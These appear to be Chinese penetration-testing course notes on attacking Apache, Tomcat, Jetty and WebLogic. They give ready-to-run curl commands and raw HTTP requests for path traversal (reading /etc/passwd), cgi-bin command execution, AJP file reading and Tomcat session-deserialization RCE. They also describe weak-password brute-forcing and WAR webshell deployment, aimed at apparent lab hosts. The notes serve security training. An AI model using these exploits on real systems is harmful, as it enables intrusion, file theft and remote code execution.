知识点:
服务攻防-中间件-Apache&Tomcat&Jetty&Weblogic
演示案例-服务攻防-中间件-Apache&Tomcat&Jetty&Weblogic
一、Apache
Apache基金会开源的一款流行的HTTP服务器。
1、SSRF漏洞(CVE-2021-40438)
版本:<=2.4.48
参考:https://github.com/vulhub/vulhub/tree/master/httpd/CVE-2021-40438



2、路径穿越漏洞(CVE-2021-41773)
版本: 2.4.49
穿越的目录允许被访问,比如配置了<Directory />Require all granted</Directory>。(默认情况下是不允许的)


bash
curl -v --path-as-is http://123.58.224.8:19615/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd

3、命令执行漏洞(CVE-2021-42013)
版本:2.4.49 2.4.50
bash
curl -v --data "echo;id" 'http://123.58.224.8:19615//cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'


二、Tomcat
一个开源的Java Servlet容器和Web服务器。
1、后台弱口令猜解

条件:口令登录控制台
bash
Tomcat支持在控制台部署war文件,可以直接将WebShell部署到Web目录下
-先爆破弱口令(admin/admin、tomcat/tomcat)
-压缩后门zip改war
-上传war访问后门链接
Tomcat存在后台管理,账号密码设置在conf/tomcat-users.xml

弱口令爆破
网上有公开的tomcat爆破工具或者利用BURP直接爆破也行(参考链接:https://blog.csdn.net/weixin_50464560/article/details/119273112)








后台getshell
进到后台就能上传war包拿shell了。


访问出现404不用管,直接访问该目录下的脚本文件即可。


如何制造war包?
1.创建一个JSP脚本文件。

2.利用压缩工具压缩成zip后缀。

3.把zip后缀改成war即可。

2、AJP文件包含漏洞(CVE-2020-1938)
Apache Tomcat AJP协议(默认8009端口)由于存在实现缺陷导致相关参数可控,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp目录下的任意文件。若服务器端同时存在文件上传功能,攻击者可进一步结合文件包含实现远程代码的执行。
bash
漏洞影响的产品版本包括:
Tomcat 6.*
Tomcat 7.* < 7.0.100
Tomcat 8.* < 8.5.51
Tomcat 9.* < 9.0.31

工具参考:https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
bash
d:\Python27\python.exe CNVD-2020-10487-Tomcat-Ajp-lfi.py 123.58.224.8 -p 52647 -f WEB-INF/web.xml

3、远程代码执行漏洞(CVE-2025-24813)
复现参考:
https://www.cnblogs.com/smileleooo/p/18772389
bash
影响版本:
11.0.0-M1 ≤ Apache Tomcat ≤ 11.0.2
10.1.0-M1 ≤ Apache Tomcat ≤ 10.1.34
9.0.0.M1 ≤ Apache Tomcat ≤ 9.0.98
*满足以下条件,攻击者可以访问或修改安全敏感文件:
DefaultServlet 启用了写入权限(默认情况下禁用)。
服务器启用了 partial PUT(默认启用)。
该敏感文件存放在允许上传的目录的子路径(攻击者需要能够在该敏感文件目录上级路径使用partial PUT上传文件)
攻击者已知目标敏感文件的路径以及文件名。
敏感文件是通过partial PUT上传的。
*满足以下条件,攻击者可以远程代码执行(RCE):
DefaultServlet启用了写入权限(默认情况下禁用)。
服务器启用了partial PUT(默认启用)。
Tomcat 使用了基于文件的Session持久化机制(非默认配置,默认为基于内存持久化),且存储位置为默认路径。
应用程序包含可利用的反序列化漏洞库(如 Commons-Collections 3.x)。
1、提交序列化数据
bash
Yakit发包:
PUT /deserialize/session HTTP/1.1
Host: 192.168.1.7:8080
Content-Length: 1234
Content-Range: bytes 0-5/10
{{base64dec(javachains项目生成序列化base64数据)}}



2、访问触发序列化
bash
GET / HTTP/1.1
Host: 192.168.1.7:8080
Cookie: JSESSIONID=.deserialize


三、Jetty
一个开源的servlet容器,它为基于Java的Web容器提供运行环境。

1、信息泄露漏洞(CVE-2021-28169)
对于<= 9.4.40、<= 10.0.2、<= 11.0.2的Eclipse Jetty版本,
对带有双重编码路径的ConcatServlet的请求可以访问WEB-INF目录中的受保护资源。
例如,对/static?/%2557EB-INF/web.xml的请求可以检索web.xml文件。
bash
curl -v http://123.58.224.8:16187/static?/%2557EB-INF/web.xml

2、信息泄露漏洞(CVE-2021-34429)
对于9.4.37-9.4.42、10.0.1-10.0.5和11.0.1-11.0.5的Eclipse Jetty版本,
可以使用一些编码字符来制作URI以访问WEB-INF目录的内容和/或绕过一些安全限制。
访问/%u002e/WEB-INF/web.xml可以绕过安全限制,读取到web.xml内容.
bash
Burpsuite: GET /%u002e/WEB-INF/web.xml

四、Weblogic
一个基于Java的企业级应用服务器。
特征:端口7001和页面


1、弱口令、部署WebShell
参考默认密码:https://cirt.net/passwords

bash
部署概要->安装->制作war并上传->修改路由->访问
制作war:jar cvf 1.war 1.jsp














2、未授权远程RCE漏洞
WeblogicTool项目:
https://github.com/KimJun1010/WeblogicTool
bash
CVE-2023-21931(JNDI)
CVE-2023-21839(JNDI)
CVE-2020-2551(JRMP)
CVE-2020-2551
CVE-2020-2555
CVE-2020-2883
CVE-2020-14882 未授权访问
CVE-2018-2894
CVE-2018-2628(JRMP)
CVE-2018-2893(JRMP)
CVE-2018-3245(JRMP)
CVE_2018_3252(JRMP)
CVE_2018_3191
CVE-2016-3510
CVE-2016-0638
CVE-2017-10271
CVE-2017-3248(JRMP)
CVE-2015-4852




